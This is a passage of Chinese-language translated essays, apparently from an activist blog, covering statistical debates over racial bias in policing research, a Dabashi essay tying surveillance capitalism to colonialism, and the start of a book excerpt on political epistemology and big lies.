什么—— 以及应该放弃相信什么 —— 永远不能简单地通过对数据的粗暴呼吁来决定，无法对可靠性和重要性的判断划清界限。对正确的社会世界的承诺并不要求仅仅因为被认可的统计机器已经启动而对结果表示敬意。事实上，在某些情况下，它甚至要求我们拒绝研究结果，无论这些结果所基于的社会科学机器有多大的威望或多复杂。

在这些问题上，可以从去年夏天引发的一场争论中找到启发，5月底发表在《美国政治科学评论》（APSR）上的一篇论文质疑了最近研究警察行为中种族偏见的许多方法的有效性，包括上述弗莱尔的方法。在明尼阿波利斯警察 Derek Chauvin 谋杀 George Floyd 的全球抗议的背景下，社会科学家之间发生了非常公开的争吵。

APSR的论文特别强调了 “使用本身就是种族歧视产物的记录来研究种族歧视问题” 的困难。作者 **Dean Knox, Will Lowe** 和 **Jonathan Mummolo** 指出：

如果在决定拘留平民的过程中存在种族歧视—— 这决定了哪些遭遇会出现在警察行政数据中—— 那么在没有额外数据和/或强大且无法测试的假设的情况下，对平民种族对随后警察行为的影响的估计就会有偏差。

简而言之，问题在于 “警察记录并不包含警察所观察到的人的代表性样本”。如果有种族偏见反映在谁被拦截和为什么被拦截上—— 我们有独立的理由相信确实如此—— 那么，如果不做额外的不靠谱的或无法测试的假设，警方关于白人和非白人被捕者的数据就无法直接比较了。因此，数据中的这种 “后处理偏差” 将严重影响任何估计种族对执法行为的 “真正” 因果影响的努力，即使我们只对拦截发生后的情况感兴趣。

作者总结说：“这一领域现有的经验性工作在警察行为中的种族偏见的严重性方面产生了误导性的证据描述。这种技术大大低估了或完全掩盖了有色人种平民所面临的不同的警察暴力”。因此，作者呼吁 “未来的研究在设计时要考虑到这个问题”，他们还概述了一种替代方法。

一个月后的6月，其他几位学者 —— 约翰·盖布勒、威廉·蔡、纪尧姆·巴塞、拉维·施罗夫、沙拉德·戈尔、和珍妮弗·希尔的批评性回应出现了；为简单起见，将这群学者称为第二阵营。他们反驳了APSR作者对警务工作中种族偏见研究的悲观评估，认为APSR的论文建立在一个 “数学错误” 之上，认为通常的方法仍然可以恢复种族对执法行为的因果影响的可靠估计，即使警察拦截本身就是有种族偏见的。他们

断言，错误在于假设必须要有某些条件，才能使用像弗莱尔这样的数据做出可靠的估计。事实上，这些学者写道，一个较弱的统计条件 —— 他们称之为“子集可忽略性” —— 也足够了，而且它更有可能在实践中“完全或近似”成立。然后，他们试图通过提出他们自己对检察官决定起诉的种族偏见的分析，来说明标准的因果估计技术是如何被拯救的（再次依赖于**APSR**作者认为有问题的那种来自警察记录的数据）。

在这次交流之后的几天里，随后发生的事只能被描述为在推特上进行的一场高调的统计学对决，其中还夹杂着感兴趣的旁观者的评论。第二阵营对数学进行了辩护，认为统计方法的进步不应该因为担心不可观察的偏见而被排除在外。戈尔写道，在一个越来越多地以定量分析为指导的政策环境中，“断然禁止一种方法……会给人们带来严重后果。… 会在改革的道路上产生严重的后果”。

相比之下，APSR的作者强调了他们所认为的应用社会科学研究的目的：提供分析，为现实世界的政策和实际的政治项目服务。例如，Knox 写道，批评者的论点“把种族偏见当作了一种数字游戏”。相反，他继续说，他和他的合著者“使用统计学来寻求严肃问题的最佳答案 —— 而不是构建关于紧迫情景的愚蠢逻辑谜题”。APSR的作者们认为，现在不是为了摇动统计机器迷恋数学假设的时候。

我们该如何看待这场辩论呢？尽管提到了数学和证明—— 反例-反证的争论，这表明只有在纯逻辑领域才能找到解决办法，但是，这场争论最终归结为统计实践中一个平凡的、先天的特征：在每项工作开始时必须做出的假设的可信性。

对于APSR的作者来说，即使是第二阵营的较弱的子集可忽略性假设也无法通过经验审查的考验：对他们来说，就社会世界事实上是如何运作的问题，显然是不可信的。但具有讽刺意味的是，鉴于他们对APSR论文的强烈批评，第二阵营在他们自己对检察官的指控决定的分析中也得出了同样的结论，承认“子集可忽略性可能被违反”，从而使他们自己的结果在经验上受到怀疑。

这个奇怪的插曲表明，社会科学家在寻求坚持自己的经验承诺时常常陷入双重困境，特别是当涉及到观察性研究 —— 相对于随机实验而言 —— 是今天几乎所有定量社会科学的主要收入来源。要么她为自己争取到了使用大量数据的能力，但代价是她的模型和假设不靠谱；要么她从经验上靠谱的假设开始，但留给她做推理的数据很少。

总的来说，在过去的二十年里，定量社会科学采取了前者，这在很大

程度上要归功于来自资金的激励。如果难以置信的假设是进入市场的代价，那么大数据革命保证了这种付出是值得的，无论是利润还是专业声望。正如数理统计学家大卫·A·弗里德曼（David A. Freedman）所写道的：“在社会和行为科学领域，那些设法忽视模型背后深远假设的人，常常为先进的定量方法的优越性提出意义深远的主张。”

但是，如果社会科学家真正致力于实证研究，他们在可信的假设和现成的数据之间做出的这种选择本身必须在实证的基础上得到证明。因此，他们最终做出的举动默示了他们对目前可用的社会世界理论的信任，或者至少是他们自己愿意做错的那种承诺。正因为社会科学是比数学更重要的东西 —— 是要弄清楚世界是怎样的，或者大约是怎样的 —— 所以统计假设永远无法摆脱其实质性的影响。

因此，对社会科学真正“以证据为基础”的要求是非常苛刻的：这意味着我们不能仅仅基于数学上的便利，或者纯粹出于对统计机器的渴望，来证明我们使用令人难以置信的假设的合理性。只有相信我们的假设是真实的，或足够真实，对实际存在的世界而言，社会科学才能满足这一苛刻的要求。

请注意规范性在这个分析中所扮演的角色。如果作为开始任何统计分析的第一步，定量社会科学家必须采用一套关于社会世界如何运作的假设，他们就会引入实质性的理论承诺作为调查的投入。因此，这种最初的规范性贯穿了整个分析过程：根本无法逃避它。随后的任何统计举措是否合适，将以复杂的方式取决于一个人对社会世界的最初实质性观点。

在种族和警务研究的具体案例中，这些反思意味着什么？事实上，在任何特定的研究中，人们是否已经提炼出种族对警察行为的因果影响，将取决于人们对更广泛的警务工作的种族特征的真实看法。

由于你在这些问题上的立场取决于你对种族不公正作为一种经验现象的普遍性和严重性的背景看法，因此，一个发现是否最终通过了统计学上的考验，从而被视为种族歧视的警察行为的实例，将取决于你对社会世界更广泛的取向。

这些考虑的结果是，统计分析不可避免地带有规范性；“遵循数据”从来不是一个机械或纯粹的数学练习。但这一事实不应导致我们放弃对经验有效性的任何承诺。相反，它应该只是提醒我们，经验审查的标准适用于任何方法论的整个过程。正如弗里德曼所说：“实证研究的目标是—— 或者说应该是—— 增加我们对现象的理解，而不是展示我们对技术的掌握。”

这种取向的一个重要后果是，研究者不仅要对假设，而且要对结论进行经验审查。对社会世界的一些观察家来说，在警察枪击案中不存在种族的因果效应的结论不仅是难以置信的：它就是简单和明显的错误。因为即使粗略地看一下描述性的汇总统计，也能发现黑人与白人相比，被警察杀害的风险有很大差距。

根据一项研究，黑人男子被警察杀害的可能性是白人男子的2.5倍，来自100个最大城市警察部门的数据显示，警察杀害手无寸铁的黑人的比例是手无寸铁的白人的4倍—— 这些统计事实还完全没有提到公开的种族主义警务的巨大历史记录，而这并不容易量化。

如果某些方法抹去了这些明显的（和无可争议的）差异，描绘出一幅种族并不对警察射击行为产生因果影响的社会图景，那么这些方法就会变得更加糟糕。从这个角度来看，不考虑几十年来种族化警务和政策制定的多种不同形式的证据，不仅是规范上的错误，它在经验上也是荒谬的，特别是作为一个自诩为“基于证据”的研究项目试图照亮我们社会世界的真相。

我们有时应该拒绝一个发现，理由是它不符合我们先前的信念 —— 这个建议似乎是对经验科学项目的彻头彻尾的异端。的确，这里有一些危险；在极端情况下，不分青红皂白地拒绝根据证据改变我们的想法，这就意味着对世界的实证研究的承诺是虚假的。但事实是，在完全常规的科学实践过程中，科学家们一直在以这些理由拒绝研究结果。最近有新闻价值的一个例子是，2011年的一项研究发现了超感知觉的证据。此举不一定意味着理性的失败；事实上，它往往是对理性的一种要求。在任何特定的情况下，确定它是哪一种，不能通过询问一个人是否忠实于“事实和逻辑”（正如许多人喜欢说的那样）或数学推导的纯粹严格来解决。

相反，当一个科学发现与我们的一个信念相冲突时，我们每个人都必须梳理哲学家奎因（W. V. O. Quine）强调的“信仰之网”，考虑必须牺牲什么来挽救其他的信仰。因为每个人的网并不完全相同，所以理性的信仰修正对每个人的要求也会有所不同。一个人愉快地得出的结论是另一个人的矛盾证明。或者说，正如俗话所说，一个人的肯定前件是另一个人的否定后件。

由于不同意某项研究的结果而拒绝其方法或起始假设，是一种完全合法的推论行动。人们倾向于忽视科学的这一特点，只是因为对大多数人来说，科学调查的许多细枝末节对日常生活没有什么直接影响。人们的信仰之网通常不会被科学的最新发展所触及。但是，一旦科学发现与人们的信念相接触，甚至与人们的信念相冲突，人们就会对推理

链的运行方式变得更加敏感。

善意的理性努力可能导致不同的人得出不同的甚至相反的结论，这是科学的一个基本的、令人不安的限制。我们不能寄希望于对世界的纯粹了解，在没有中介理论的情况下直接从数据推出结论。

最后，弗莱尔研究的争论是一个漫长的实物课程，说明人们的经验性承诺总是与规范性承诺纠缠在一起，包括更典型的被认为是道德或政治的承诺。

特别是选择在自己的假设中牺牲经验上的合理性，在“仅仅是事实”的过度简化的意义上，不仅仅是一个“科学”问题：而且它还不可避免地与人们的伦理和政治承诺交织在一起。在将自己的信仰之网带入关于什么构成对警务工作中种族影响的适当研究的辩论中时，人们提出的不仅仅是关于种族目标的普遍性或警察报告做法的忠实性的先前经验性信仰，而且还有自己对种族正义事务的取向和作为种族和更广泛的警务和刑事司法系统研究者的自我概念化。

对于APSR的作者来说，警务工作中的偏见既是一种规范性的关注，也是一种经验上的可能性，因此，作为一个良好的科学实践问题，允许牺牲某些一切照旧的方法。相比之下，第二阵营则不愿意放弃被推崇的方法。他们对所谓的标准方法的有用性的承诺是如此之深，以至于他们还没有看到足够的理由退缩。在10月发布的论文修订版中，作者删除了“数学错误”的断言，但发现“有理由感到乐观”，许多潜在的歧视案例确实符合为挽救通常方法而提出的统计假设所规定的经验条件。

而这些乐观的理由到底是什么，仍然不清楚。第二阵营自己也承认，因为“我们无法知道未测量的混杂因素的确切性质和影响……我们必须在很大程度上依靠领域的专业知识和直觉来形成合理的结论。”然而，在没有提到任何此类进一步的证据或支持的情况下，他们还是得出了结论：“在这种情况下，我们将我们的结果解释为提供了适度有力的证据，即在我们考虑的司法管辖区，感知的性别和种族对检察官的指控决定影响有限”。这样的说法最终说明了他们的信仰之网比实际存在的社会世界要多得多。

对于那些在参与自下而上的激进社会政治运动中形成的信仰、经验和伦理，不愿意接受关于种族和警务的某些发现，就是在他们的信仰网络中坚定不移地致力于某种厚重的经验和伦理命题，即：警务和监狱系统是种族恐怖的工具，任何因果关系理论、种族理论和值得一试的统计方法都会认为种族是影响不同的警务和监狱结果的重要因果因

素。这只是“符合数据”的第一个测试。这不是对理性的逃避，而是对理性的行使。

这种对社会科学的看法是否将一种认识论的事业变成了一种粗暴的政治事业？愿意牺牲一些科学发现来挽救伦理或政治承诺，是否会危及科学作为一个寻求产生关于世界的新知识的独特项目的地位？我认为这并不是必须的。即使是最强硬的经验主义者也是有起点的。她必须根据她认为最自然、最合理、最富有成效的某种背景理论来解释她的数据。对这一立场的偏离，如果是自觉地受到政治的驱动，那么其真正的求实性并不比自诩的对现状的中立尊重要差。

这一事实往往会在关于科学在“客观”（不受偏见和外界干扰）和“政治”（不受限制地争夺权力，“科学”的标签只被贴在获胜者的身上）之间的连续体上的位置的辩论中被忽略。这种情况忽略了科学是如何在知识生产的战壕中展开的：在方法论的细枝末节中决定哪些假设必须牺牲，哪些可以保存，什么时候抽象会导致愚蠢的逻辑难题，什么时候抽象是一种必要的邪恶，哪些结论会引发双重评价，哪些是范式转变的信号，等等。承认这些斗争不能使我们超越“最新发现”的永无止境的浪潮，并不是要放弃定量社会科学作为更好地理解世界的冒险。它只是接受了一种社会调查的概念，正如哲学家理查德·J·伯恩斯坦所说，它总是同时具有“经验性、解释性和批判性”。〇

Race, Policing, and The Limits of Social Science

原文

Books 对抗监视资本主义的斗争可以从美国开始吗？- 在国会暴动后重读爱德华·萨义德的“东方主义”

社会反抗和思考

应该从美国开始，但是，仅仅追求在美国国内解决问题是不够的（虽然尚未解决）

【按】就如我们此前多次强调过的，打破监视资本主义的这场斗争，必需从美国开始 —— 全球监视资本主义的源头；如果美国能成功，这一危害全世界的数字暴政体制将开始被瓦解。如果从高堡奇人的另一侧 —— 即 中国 —— 开始，很可能无法成功。

这篇文章则从另一个角度思考这件事。因为，美国的确可以也可能在自己国内寻求抵制监视资本主义，但同时在全世界资助和维持监视资本主义体制，这是作者希望提醒的事。我们的 列表-4 中有两个板块 “作恶者：谁在帮中国”、以及 “协助暴政的家伙们”，通过其中收纳的内容您可以看到，美国是全球专制政权（包括中国专制）的最积极协助者。我们很可很难期待美国国内的对抗监视资本主义之战能缓解这些状况 —— 一定程度上您可以参见在欧洲发生的事，即 欧洲国内对监视技术的打击反而促进了欧洲本土的监视技术公司寻求其他专制国家买家的兴趣，尤其是中国。

换句话说，如果我们仅仅强调出口管制、立法和监督，很可能是不够的；因为我们没能触及到监视技术出口的强大的政治动力 —— 殖民主义根源；在这种动力下，任何立法和监管可能都无法彻底铲除这种作为帮凶的积极性。

- 报告《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》

当您愤怒于以色列的间谍软件在全世界镇压异议人士和活动家（包括香港）时，记得这一危机的根源，很重要。

我们感觉这篇文章的视角比我们此前的思考更深入。这篇文章的作者 Hamid Dabashi 是纽约市哥伦比亚大学教授，他的研究课题包括殖民主义。我们上传了他于2020年最新出版的书籍《On Edward Said: Remembrance of Things Past》您可以在这里下载： https://www.patreon.com/posts/zai-guo-hui-bao-48813981 结合这本书也许更容易理解本文的论点。

本文发表于伦敦独立媒体中东眼 (Middle East Eye)。

2016年特朗普成为美国总统并释放出白人至上法西斯主义的可怕前景后不久，美国人开始阅读一些近代批判性思维的经典作品，以帮助他们更好地理解自己的困境。

肖恩·伊林在2019年1月为Vox写道，“特朗普当选总统后，很多人开始购买汉娜·阿伦特的书。大选后一个月，阿伦特1951年出版的《极权主义的起源》一书的销售速度是正常速度的16倍”。随后，肖恩·伊林与文学学者琳西·斯通布里奇 (Lyndsey Stonebridge) 教授取得联系并展开对话，探讨为什么人们在试图弄清特朗普和特朗普主义的同时，也转向了阿伦特，尤其是《极权主义的起源》。

在2016年12月为《纽约客》撰写的另一篇较早的文章《法兰克福学派知道特朗普要来了》中，亚历克斯·罗斯提醒读者，“阿多诺认为，美国民主的最大危险在于电影、广播和电视等大众文化机器。事实上，他指出，这台机器即使在没有独裁的情况下，也以独裁的方式运作：它强制服从，平息异议，压制思想。”

【注：阿多诺，即 狄奥多·阿多诺，德国社会学家，同时也是一位哲学家、音乐家以及作曲家。他是法兰克福学派的成员之一。我们去年底上传的 The Baffler 杂志合订本中也包含这一内容。】

监视资本主义

「图」

最近，当我在《纽约时报》上读到哈佛商学院名誉教授、《监视资本主义时代》的作者肖莎娜·祖博夫（Shoshana Zuboff）发表的一篇精彩长文时，我想起了这些和类似的文章：The Fight for a Human Future at the New Frontier of Power（2019）。

在这篇名为《我们没在谈论这场政变》的文章中，祖博夫写到了她所说的“监控社会”的兴起，以及她在分析监视资本主义的基础上所说

的 ”信息文明” —— 她警告说：我们可以拥有民主，也可以拥有监视社会，但我们不可能同时拥有这两者。

在这个信息文明中，像谷歌和 Facebook 这样的监控资本家，是决定谁能知道什么的人，监视资本家现在掌握了每个问题的答案，尽管没有任何公民选举他们来执政。这是认识论政变的本质。“这些反社会媒体在过去二十年中一直以解放者的角色受到人们的欢迎”。

这场影子政变就是祖博夫教授所说的 “认识论政变”，她提出了 “监视资本主义是如何起源于发现公司可以把人们的生活作为免费的原材料进行抵押，以提取行为数据，然后他们宣布这些数据是他们的私有财产”。

- 关于政治认识论出了什么问题《真相的价值》

“把人民的生活作为免费的原材料”，这个状况是不是很熟悉呢，我们以前在哪里听说过？祖博夫教授所描述的所有后续阶段，完全对应于一种殖民条件，这对她来说并不那么关心。但对我来说却很重要。

矛盾的是，正是9/11事件引发了全球各国政府开始收获大规模监控。“监视资本主义的革命根源”，祖博夫教授写道，“就植根于这种不成文的监视例外主义的政治学说中，绕过民主监督，本质上授予新的互联网公司一个许可证，以窃取人类行为经验并将其渲染为专有数据”。

所有这些关键概念——“绕过民主监督”、“窃取人类经验并将其变成专有数据的许可” —— 在一个后殖民主义思想家的耳朵里听起来非常熟悉，尽管在远离祖博夫教授关注的土地上。

重读萨义德的东方主义

「图」

祖博夫教授在她的书和这篇文章中所发现的和概述的，即 互联网的出现和 “监视资本主义”，其实早就在帝国本身的核心地带存在着了。

欧洲殖民者在全球范围内利用和滥用其权力收集信息，并以最有利于其利益的方式组织信息，这在漫长而凶残的殖民历史中司空见惯。这就是所谓的 “东方主义 Orientalism”，爱德华·赛义德是最早揭露和否定它的人之一。

监视资本主义是从监视殖民主义开始的，这个事实需要在特朗普企图在美国发动政变的时代重新解读赛义德的东方主义。在民主共和战场嘈杂的吵闹声中，像祖博夫教授这篇颇有见地的文章，需要回到欧洲和美国在全球范围内的帝国虐杀历史中去。美国人从这段历史中可以学到很多东西—— 因为他们现在正在对自己做着他们和他们的欧洲祖先对全世界所做的事。

让我举一个非常具体的例子。1979年，一群激进的伊朗学生占领了美国驻德黑兰大使馆后不久，他们就花了几年时间，一丝不苟地重新整理情报报告和其他行动记录，而这些报告和记录在他们被捕前被中情局官员匆匆撕碎。

在伊朗革命后的几年内，这些文件的大量内容被收集起来，并在德黑兰出版了一套多卷本，让俄罗斯和其他间谍机构欣喜不已。早在1982年，斯科特·阿姆斯特朗就为《华盛顿邮报》写了一篇关于这些文件的详细报道。

几十年后，2011年，英国广播公司报道了伊朗学生手工完成的艰巨任务，现在可以由电脑轻松完成。换句话说，在1979年到2011年之间，我们得到了伊朗学生收集的美国文件，并在计算机软件准备好复制这项任务之前，费尽心思地进行了组装。

而现在，监视资本主义的逻辑正在重新连接回其监视殖民主义的殖民根源。

更持久的教训

「图」

这种情报收集或监视殖民主义的根源并不限于伊朗，而是从印度、非洲、拉丁美洲、甚至欧洲本身，延伸到了更广泛的范围。殖民主义不仅需要情报；它制造它所需要的东西，并把它当作真理。

我们可以追溯到1798年拿破仑对埃及的入侵，当时他委托一批东方学家随军，以获得征服一个阿拉伯国家所需的知识。法国人从埃及和其他非洲国家收集(偷)来的知识和文物，成为法国和其他欧洲国家的文物博物馆和大学考古学和人类学系的基础。埃及学的根基是一门殖民学科。

但不久之后，对于担心文化左翼在世界范围内的吸引力的中情局来说，欧洲本身将成为情报收集的场所。加布里埃尔·罗克希尔(Gabriel

Rockhill) 在为《洛杉矶书评》撰写的著名文章《中情局读懂法国理论：论瓦解文化左翼的智力劳动》(2017年2月27日)中，曾给出了美国情报人员试图弄清米歇尔·福柯、雅克·拉康和罗兰·巴特等法国顶尖批判思想家私人生活中都在干什么的细节!

当这些批判性思想家，特别是福柯，在爱德华·赛义德随后揭露东方主义作为殖民知识和权力的运作方式方面发挥了重要作用时，现在轮到像伯纳德·刘易斯这样的美国犹太复国主义者及其爪牙攻击爱德华·赛义德和他帮助建立的整个后殖民主义领域了，因为它在揭露以色列——他们最喜欢的殖民者的阴谋方面发挥了关键作用。

东方主义的“东方”就是“监视社会”，早在这个词被创造出来之前，在美国和欧洲的资本主义中心理解它之前。

一场“认识论政变”

「图」

巴勒斯坦学者 Elia Zureik 在其关于以色列定居者殖民监视技术的学术研究中，详细介绍了被占领的巴勒斯坦境内残酷的人口控制战略中的监视技术和生物政治学的广泛使用。

以色列之所以成为全球“监视技术的中心”，并从事“向世界各地想要监视本国公民的政府出售其产品”，是有原因的。 要了解21世纪美国内部发生的事，就必须了解美国及其最喜欢的驻军国家，以及在它们之前很久的欧洲殖民先辈们在全球所做的事。

Shoshana Zuboff 谈到了一场“认识论政变”，这场政变分四个阶段展开，分别是认识论权利的侵占、认识论不平等的急剧上升、认识论混乱的引入，最后在第四个也是最后一个阶段“认识论的统治”，它被驱使着凌驾于民主治理之上。

如今我们这些后殖民者，在自己的世界中准确地映射出这些阶段，并奋起反抗和结束它们的方式，对于像祖博夫教授这样的美国人来说，包含了一个关键的教训 —— 她高度关注如何奋起反抗和结束这种野蛮的统治，她是对的；然而，要想看清监视资本主义在监视殖民主义中的根基，首先要从通过她深具洞察力的眼睛开始重读爱德华·赛义德的《东方主义》。

在后特朗普时代的美国，重读赛义德的《东方主义》，最朴素的教训是，美国人不能在全球范围内搞监视帝国、不能在对巴勒斯坦搞监视

殖民主义时成为其重要的赞助人，而同时在国内寻求克服监视资本主义。〇

The ‘shadow coup’: Rereading Edward Said’s Orientalism after Capitol riots

原文

Books 真相的价值 - iyouport

社会反抗和思考

超越左右已经是一个紧迫的需求

【按】如果一个人告诉您西红柿炒鸡蛋需要先放西红柿后放鸡蛋，您选择信还是不信？您的判断标准是什么？您的判断标准在多大程度上和西红柿或鸡蛋有关？而不是告诉您这件事的那个人？如果告诉您这件事的那个人被证明与您的意识形态立场相悖（您是左他是右，或者您是右他是左），您还相信他的话吗？ 这不是个玩笑。这件事的结果已经造成了当下的民主危机。

去年底的对话中我们强调了“超越左右”，从真相事实开始对话，从愿景入手进入行动，而不是意识形态；这并不是什么创新，而是一种紧迫的需求。这本书需要讲述的就是这个问题。

这本书在这里下载：https://www.patreon.com/posts/zhen-xiang-de-48705422

在学术界的行话中，研究人们能知道什么、以及人们如何能知道它，被称为“认识论”。在20世纪80年代，哲学家理查德·罗蒂宣布认识论终于结束了。对罗蒂和那个时代的许多其他思想家来说，我们甚至需要一种认识论的想法，是建立在过时的、笛卡尔式的假设上的，即 心灵是自然界的一面纯真的镜子；他敦促我们把婴儿 —— “真理”—— 和十七世纪理性主义的洗澡水一起倒掉。他在其最后一本书（2007年出版）的挑衅性标题中问道：“真理有什么用？” 他的答案就像他同时代的许多人一样，是明确的：没太大用。

事情发生了变化。罗蒂在智能手机、社交媒体和谷歌出现之前就写出了他的主要作品。即使在互联网的早期，许多人也坚持认为它能促进信息的民主化—— 如果它能对社会有任何影响的话。随后的数十年让这种乐观情绪迅速收敛了，但也让知识问题变得更加紧迫，更加有根有据。当数以百万计的选民不顾一切证据，相信选举是被盗的、相信疫苗是危险的、相信一伙儿童色情狂在披萨店的地下室里统治世界时，显然已经不能忽视知识是如何形成和被扭曲的。当下正在经历的

是一场认识论危机。

因此，认识论不仅准备再次成为 “第一哲学”。在真正的意义上，我们现在都必须成为认识论者 —— 特别是一种应对政治世界挑战的认识论，一种政治认识论。

对知识如何在社会群体中获得和分配的兴趣，长期以来一直是社会科学的实质性研究领域。但除了显着的例外— —如WEB杜波依斯、约翰·杜威、托马斯·库恩和米歇尔·福柯— —二十世纪的哲学家大多关注个体：他们的核心关注点是“我如何知道”，而不是“我们如何知道”。但这种情况在世纪末开始发生变化，因为琳达·阿尔科夫等女权主义理论家和查尔斯·米尔斯等黑人哲学家不仅呼吁人们关注知识的社会层面，而且要关注它的反面— —无知。此外，在很大程度上独立于这些传统研究，以阿尔文·戈德曼为首的分析哲学家发起了对证言（“我们何时应该相信别人告诉我们的东西”）、群体认知、以及同行和专家之间的分歧等问题的探究。

总的结果是，哲学上的关注点转移到了一群人如何决定他们知道的问题上。毫不奇怪，这种关注现在越来越多地集中在数字和政治如何交织在一起以改变人们生产和消费信息的方式上。这种兴趣在 Cailin O’Conner 和 James Weatherall 最近出版的《错误信息时代：错误的信念是如何传播的》（2019）一书中，以及 C. Thi Nguyen 关于回音室（成员主动不信任 “外部” 来源）和认识论泡沫（成员只是缺乏相关信息）之间的区别的研究得到了展示。这些例子凸显了哲学如何能够为当下最紧迫的文化问题做出贡献，即：我们如何相信我们认为自己知道的东西。

贯穿这项工作的一个显着的主题是，我们可以研究知识的社会基础，而不必放弃客观性和真理等概念，即使必须重新想象我们如何获得和实现这些价值。而在许多人认为民主中的真理价值受到威胁的时候，这一点是值得注意的。

为了理解这意味着什么，思考一下人们需要政治认识论来帮助解决的一些问题—— 可以称之为对民主的认识论威胁—— 会很有帮助。民主政体特别容易受到这种威胁的影响，因为在需要公民的商议参与时，人们必须特别重视真相。

- 《为什么虚假信息令独裁政权变得更强大，令民主国家变得更脆弱？》

并不是说像一些保守派每当进步人士谈论真相时似乎认为的那样，认

为民主政体应该试图让每个人都相信同样的东西—— 这根本是不可能的，更不用说民主了。相反，民主政体必须特别重视那些帮助人们可靠地追求真相的制度和实践—— 获得知识而不是谎言，获得事实而不是宣传。对民主的认识论威胁就是对这种价值和这些制度的威胁。

事实上，当前政治格局的一个显著特征是，人们不仅在价值观上有分歧（这在民主制度中是健康的），也不仅在事实上有分歧（这是不可避免的），最致命的是，在人们确定“什么是事实”的标准上也有分歧。把这叫做知识两极化，或者说是关于谁能“知道”的分歧 —— 应该相信哪些专家、以及什么是理性的，什么不是。

人们对 COVID-19 疫情的反应是这种两极分化危险的痛苦例证。在流行病开始的早期，甚至在全国感染率飙升的时候，Knight/Gallup 的民调显示，一个人的政治观点，以及他们的新信息来源，预示着他们对公共健康风险的严重程度。共和党人更有可能相信病毒的致命性被夸大了。正如一位推特用户所说，“对不起，自由派，但我们不相信安东尼·福齐博士”。

关于“认识论溢出效应”的研究表明了知识两极分化的政治化程度到底有多深。当政治信念影响了人们愿意在多大程度上相信某人在一项与政治无关的任务上的专业知识时，就会发生认识论溢出。

在一项探讨日常生活中这种情况如何发生的研究中，参与者既能了解其他参与者的政治取向，也能了解他们在一项完全无关的、非政治性任务（通常是极其基本的，如形状分类任务）中的能力。然后，参与者被问及他们会咨询谁来帮助他们自己完成任务。结果是：人们更愿意相信同一政治部落的人，即使是识别形状这样平庸的事。而且，即使他们有证据表明他们的政治同族在这项任务上更差，即使有经济上的激励来遵循这些证据，他们也会继续这样做。

换一种说法，民主党人比共和党人更容易相信民主党的医生、民主党的水管工、和民主党的会计师—— 即使他们有证据表明这将导致更糟糕的结果。

类似的研究都足够表明，意识形态政治和知识两极分化在不信任的反馈循环中相互补充。如果你认为民主党人是被洗脑的自由派媒体的奴隶，那么当他们告诉你有疫情出现、或者地球变暖、或者选举是公平的时候，你就不会相信他们所谓的专业知识。事实上，政治光谱两边的不信任都鼓励了相互的怀疑 —— 正是认识论者经常被指责花太多时间担心的事。

这种怀疑主义会阻碍人们按照证据得出能救命的结论—— 从而拒绝戴上口罩或保持社交上的距离。而且，至少在两个方面，它还会威胁到一个社会对保护和公平分配准确信息的承诺。

首先，当人们出于政治原因而不信任机构的专业知识时—— 不管是关于疫苗的还是气候变化的，他们就不会重视这种专业知识指导下的研究。而这反过来又削弱了寻求真相的民主价值 —— 例如，资助联邦研究机构 —— 尽管它有很多不足之处，但它的目的是帮助人们弄清应该相信什么和如何行动，包括在投票箱中。

其次，怀疑的不信任也会奇怪地让人们挖空心思。古希腊的皮浪主义者认为怀疑主义是健康的，因为它会让人变得更加 … 嗯，怀疑——也就是说，不太可能相信愚蠢的东西。但人类的悲惨历史表明，他们太乐观了：知识的两极分化似乎使人们对自己的观点有更多的信心，而不是更少。

为什么会出现这种情况呢？一种可能是人的心理弱点—— 特定的思想态度—— 被镶嵌在自己的意识形态中。而也许没有什么态度比知识分子的傲慢更有毒害性了，这种社会心理态度认为自己没有什么可以向别人学习的，因为你已经知道了一切了。网络上流行的一个版本是达克效应（Dunning-Kruger effect），它提出知识有限的人更容易高估自己的能力—— 他们不知道自己不知道什么。哲学家亚历山德拉·塔内西尼在她即将出版的《自我的错误测量》一书中认为，这种傲慢不仅仅是错位的过度自信，也是真相与自我的混淆。

傲慢是个坏消息，无论从个人来说还是心理上来说，都不是什么新鲜事。十六世纪的哲学家米歇尔·德·蒙田深信，傲慢会导致武断的极端主义，并可能导致政治暴力。教条主义的热情对仇恨有奇效，但从未把人拉向善良。他有句名言，“没什么比人更可怜也更自大的了”。

但真正的政治问题不是傲慢的个人本身，而是傲慢的意识形态。这些意识形态是围绕着 “我们” 知道（秘密的真相、现实的真实本质）而 “他们” 不知道的核心信念建立起来的。对那些被这种意识形态所控制的人来说，反驳的证据被认为是对 “我们是谁” 的生存威胁。换句话说，傲慢的意识形态使一个人对证据的修正能力具有免疫力；它鼓励其追随者采取何塞·梅迪纳所说的 “主动的无知”。

傲慢会产生授权，而授权又会滋生怨恨—— 形成极端主义的有毒心理土壤。而且，最重要的是，它很容易被鼓励。正如塔内西尼所强调的那样，傲慢从根本上说是建立在不安全感的基础上，建立在对真实的或想象出的威胁的恐惧上，无论是来自崇拜撒旦的儿童色情狂还是

来自外太空的犹太激光。

这就把我们带到了对民主的最明显的认识论威胁上，这种威胁滋生了其他的威胁，也被其他的威胁所滋生：阴谋论、以及历史学家蒂莫西·D·斯奈德所说的大谎言。人们经常争论那些说和分享某种东西的人是否“真的”相信它们，以及在多大程度上认可它们是一种党派身份的表达。但这可能是一个完全错误的问题。

稍微换个角度，我们真正需要了解的是，大的政治谎言是如何变成信念的。信念不仅仅是一个人“深深相信”的东西（我相信二加二等于四，但那不是信念）；信念是一种反映身份的承诺。它体现了你渴望成为什么样的人，你渴望成为什么样的群体中的一员。

信念能激励人，也能激起人的热情。它们构成了我们的意识形态、我们的政治现实形象。而正如哲学家夸西姆·卡萨姆和杰森·斯坦利所认为的，对大谎言的一个基本见解是，它们作为政治宣传的功能，作为宣传特定世界观的方式。这就是它们的政治危害：它们激励极端主义行动并使之合理化。

但大谎言也有其他作用：它们消解了真相的价值和追求真相的民主价值。

为了理解这一点是如何运作的，想象一下，在一场足球比赛中，一名球员把球踢进了看台，但面对现实和即时回放录像，他宣称自己还是得分了。如果他坚持这样做，通常会被忽视，甚至被罚下。但如果他——或者他的团队——拥有足够大的权力（也许他拥有整个球场），那么他可能会迫使比赛继续，就像他的谎言是真的一样。如果比赛继续进行，那么他的谎言就成功了——即使大多数人（甚至他自己的球迷）并不“真的”相信他没越界。这是因为谎言的作用不仅仅是欺骗，而是表明权力比真相更重要。这是个教训，如果比赛继续下去，谁也不会忘记。他已经向双方表明，规则不再真正重要，因为说谎者已经让人们把谎言当成了真相。

